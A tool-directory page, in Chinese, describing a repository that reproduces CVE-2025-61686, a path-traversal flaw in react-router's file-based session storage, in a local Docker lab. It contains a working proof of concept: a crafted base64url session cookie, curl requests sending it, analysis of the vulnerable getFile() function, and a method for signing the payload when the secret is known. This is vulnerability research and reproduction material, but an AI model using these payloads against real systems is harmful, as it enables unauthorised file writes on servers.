Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-61686_docker — CVE-2025-61686复现的dockerfile与poc | Kitploit
工具/GitHubGitHub/flowerwitch/cve-2025-61686_docker
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubflowerwitch/cve-2025-61686_docker

CVE-2025-61686_docker

CVE-2025-61686复现的dockerfile与poc

查看仓库
17个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-61686_docker

启动

1.build

root@kitploit:~
docker-compose up --build

2.start

root@kitploit:~
docker-compose up

复现流程

1.构造符合穿越条件的session

root@kitploit:~
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg 

2.将构造session塞到Cookie,发送请求

root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'

3.验证

root@kitploit:~
root@de14139fdebf:/app# ls /tmp
flower

漏洞成因

通过比对漏洞版本7.9.3与7.9.4可以发现,漏洞主要原因是 react-router/packages/react-router-node/sessions /fileStorage.ts 文件中的 getFile() 函数中对session的处理存在问题。

root@kitploit:~
export function getFile(dir: string, id: string): string {
  // Divide the session id up into a directory (first 2 bytes) and filename
  // (remaining 6 bytes) to reduce the chance of having very large directories,
  // which should speed up file access. This is a maximum of 2^16 directories,
  // each with 2^48 files.
  return path.join(dir, id.slice(0, 4), id.slice(4));
}

此处会将session的前4位作为 文件夹名 ,4位之后的作为 文件名 ,所以攻击者仅需通过如下方式即可实现路径穿越,这便是漏洞公告说在session允许不使用secret情况下可以轻松实现目录穿越,当然如果攻击者能获取到用于加密session的secret那便也可以构造对应的穿越payload。

root@kitploit:~
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'

已知secret情况下利用

对于获取到了secret的情况下,可以参考sign() 函数,使用secret对poc进行签名。

root@kitploit:~
export const sign = async (value: string, secret: string): Promise<string> => {
  let data = encoder.encode(value);
  let key = await createKey(secret, ["sign"]);
  let signature = await crypto.subtle.sign("HMAC", key, data);
  let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
    /=+$/,
    "",
  );

  return value + "." + hash;
};
image

用生成的session发起请求

root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'

确认漏洞触发

root@kitploit:~
root@eb8750bd4a56:/tmp# ls
flowerwitch

签名生成脚本 use_secret_create_payload.js

下载工具